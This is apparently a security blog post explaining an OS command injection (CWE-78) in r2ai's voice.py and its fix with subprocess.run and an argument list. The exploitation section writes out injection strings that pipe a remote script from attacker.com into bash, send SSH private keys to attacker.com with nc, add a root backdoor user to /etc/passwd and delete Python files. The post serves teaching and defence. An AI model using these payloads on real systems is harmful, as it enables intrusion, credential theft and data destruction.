Shell Injection via os.system(): How a Single Line of Code Can Compromise Your System
Introduction
It's one of the most deceptively simple mistakes in Python programming: passing a string built from external input directly to os.system(). It looks harmless. It works perfectly during development. And under the right conditions, it hands an attacker the keys to your entire system.
This post breaks down a critical OS command injection vulnerability (CWE-78) discovered in Attic/py/r2ai/voice.py, explains how it could be exploited, and walks through the clean, modern fix that eliminates the risk entirely.
Whether you're a seasoned systems programmer or just getting started with Python security, this is a pattern you'll want to recognize immediately.
The Vulnerability Explained
What Is OS Command Injection?
OS command injection — catalogued as CWE-78: Improper Neutralization of Special Elements used in an OS Command — occurs when an application constructs a shell command using data it doesn't fully control, then passes that string to a shell for execution.
The shell is a powerful interpreter. It understands metacharacters like ;, &&, |, $(), and backticks. If any of those characters sneak into your command string, the shell will happily execute whatever follows them — regardless of your intent.
The Vulnerable Code
Here's the code that triggered the critical finding:
# VULNERABLE - Do not use this pattern
os.system("rm -f .audiomsg.wav")
rc = os.system(f"ffmpeg -f avfoundation -t 5 -i '{device}' .audiomsg.wav > /dev/null 2>&1")
The device variable is interpolated directly into an f-string, which is then passed as a single shell command string to os.system(). The single quotes around '{device}' might look like protection — but they're not. A single quote in the device value itself breaks out of that quoting context entirely.
How Could It Be Exploited?
The exploitability depends on where device comes from. In an AI assistant tool like r2ai, device likely originates from:
- A configuration file read at startup
- An environment variable
- User input provided during setup or runtime
If an attacker can influence any of these sources, the attack is straightforward.
Attack Scenario: Malicious Configuration File
Imagine a user downloads a shared r2ai configuration file (a common workflow in AI tooling communities). That config file sets the audio device to:
' ; curl -s https://attacker.com/payload.sh | bash ; echo '
When voice.py runs, the shell receives:
ffmpeg -f avfoundation -t 5 -i '' ; curl -s https://attacker.com/payload.sh | bash ; echo '' .audiomsg.wav > /dev/null 2>&1
The shell dutifully executes three commands:
1. ffmpeg (fails harmlessly)
2. curl ... | bash — downloads and executes arbitrary code
3. echo (cleans up the command line)
The r2ai process's output looks normal. The user sees a microphone error. Meanwhile, a reverse shell or data exfiltration script runs silently in the background.
Other Injection Payloads
The attack surface is broad. Other examples of malicious device values:
# Exfiltrate SSH keys
' && cat ~/.ssh/id_rsa | nc attacker.com 4444 && echo '
# Create a backdoor user
' ; echo "backdoor:x:0:0::/root:/bin/bash" >> /etc/passwd ; echo '
# Ransomware-style destruction
' ; find ~ -name "*.py" -delete ; echo '
Real-World Impact
The severity here is critical because:
- No authentication required — if the attacker controls the config file or environment, they're already in
- Full process privileges — commands run as whatever user launched r2ai
- Silent execution — stdout and stderr are redirected to
/dev/null, hiding all evidence - Broad attack surface — config files, env vars, and user input are all common vectors in AI tooling
The Fix
What Changed
The fix replaces both os.system() calls with safer alternatives:
Before (vulnerable):
os.system("rm -f .audiomsg.wav")
rc = os.system(f"ffmpeg -f avfoundation -t 5 -i '{device}' .audiomsg.wav > /dev/null 2>&1")
After (secure):
try:
os.remove(".audiomsg.wav")
except OSError:
pass
result = subprocess.run(
["ffmpeg", "-f", "avfoundation", "-t", "5", "-i", device, ".audiomsg.wav"],
stdout=subprocess.DEVNULL,
stderr=subprocess.DEVNULL
)
rc = result.returncode
Why This Fix Works
1. Arguments as a List — No Shell Involved
The most important change is passing a list of strings to subprocess.run() instead of a single command string.
When you pass a list, Python uses execvp() (or its Windows equivalent) to launch the process directly, bypassing the shell entirely. There is no shell to interpret metacharacters. The device value is passed as a literal argument to ffmpeg — nothing more, nothing less.
# Shell IS invoked — dangerous with untrusted input
os.system(f"ffmpeg ... -i '{device}' ...")
# Shell is NOT invoked — device is just a string argument
subprocess.run(["ffmpeg", ..., "-i", device, ...])
Even if device contains ;, &&, |, or any other shell metacharacter, ffmpeg receives it as a literal filename string. Injection is impossible.
2. os.remove() Replaces os.system("rm -f ...")
The rm -f .audiomsg.wav call was also replaced with os.remove() wrapped in a try/except OSError. This is:
- Cross-platform (works on Windows, where
rmdoesn't exist) - Shell-free (no subprocess spawned at all)
- Pythonic (uses the standard library as intended)
- Safe (the
OSErrorcatch handles the "file doesn't exist" case that-fpreviously suppressed)
3. Output Redirection Done Properly
The original code used shell redirection (> /dev/null 2>&1) to suppress ffmpeg's output. The fix uses subprocess.DEVNULL, which achieves the same result without a shell:
result = subprocess.run(
[...],
stdout=subprocess.DEVNULL, # Replaces > /dev/null
stderr=subprocess.DEVNULL # Replaces 2>&1
)
4. Return Code Handling Preserved
The fix correctly captures the return code via result.returncode, maintaining the existing error-handling logic downstream.
Prevention & Best Practices
1. Never Use os.system() with Dynamic Input
os.system() always invokes a shell. It's essentially sh -c "<your string>". Unless your entire command string is a hardcoded literal, treat it as dangerous.
# ❌ Always risky
os.system(f"some_command {user_input}")
# ✅ Safe
subprocess.run(["some_command", user_input])
2. Prefer subprocess.run() with a List
The golden rule: pass arguments as a list, never as a string (unless you explicitly need shell features and understand the risks).
# ❌ Shell string — dangerous
subprocess.run(f"ffmpeg -i {device} output.wav", shell=True)
# ✅ Argument list — safe
subprocess.run(["ffmpeg", "-i", device, "output.wav"])
If you must use shell=True, sanitize inputs with shlex.quote():
import shlex
# Acceptable when shell=True is truly necessary
safe_device = shlex.quote(device)
subprocess.run(f"ffmpeg -i {safe_device} output.wav", shell=True)
3. Validate and Sanitize External Input
Even with subprocess.run() and argument lists, validate input that comes from external sources:
import re
def validate_device(device: str) -> str:
# Allow only expected audio device formats (e.g., "0:0", "1:0")
if not re.match(r'^\d+:\d+$', device):
raise ValueError(f"Invalid device format: {device!r}")
return device
4. Apply the Principle of Least Privilege
Processes that handle external input should run with minimal permissions. If r2ai only needs microphone access, it shouldn't run as root or with write access to sensitive directories.
5. Use Static Analysis Tools
Several tools can catch this class of vulnerability automatically:
| Tool | Language | Notes |
|---|---|---|
| Bandit | Python | Flags os.system() and shell=True usage (B605, B607) |
| Semgrep | Multi | Highly configurable, excellent Python rules |
| CodeQL | Multi | GitHub-native, catches taint-flow injection |
| PyLint | Python | General quality, some security checks |
Running Bandit on the original code would have flagged this immediately:
$ bandit voice.py
>> Issue: [B605:start_process_with_a_shell] Starting a process with a shell: True
Severity: High Confidence: High
6. Reference Security Standards
- CWE-78: OS Command Injection
- OWASP A03:2021: Injection
- OWASP Testing Guide: Testing for Command Injection
- Python Security Docs: subprocess — Subprocess management
Conclusion
A single f-string interpolation into os.system() — a pattern that appears in thousands of Python scripts across the internet — was all it took to create a critical command injection vulnerability. The fix required fewer lines than the original code and is cleaner, more Pythonic, and cross-platform.
The key takeaways:
os.system()with dynamic input is almost always wrong. Usesubprocess.run()with a list.- Shell quoting is not a reliable defense. Characters like
'can break out of quoted contexts. - Static analysis tools like Bandit catch this instantly. Add them to your CI pipeline.
- The fix is simple and has zero performance cost. There's no reason not to do it right.
Security vulnerabilities in developer tooling — especially AI assistants that users trust with system access — can have outsized impact. A compromised r2ai instance could exfiltrate code, credentials, or conversation history. Taking five minutes to use subprocess.run() correctly is one of the highest-ROI security investments you can make.
Write code as if every external value is malicious. Because sometimes, it is.
This vulnerability was identified and patched by OrbisAI Security. Automated security scanning and remediation helps teams catch critical issues before they reach production.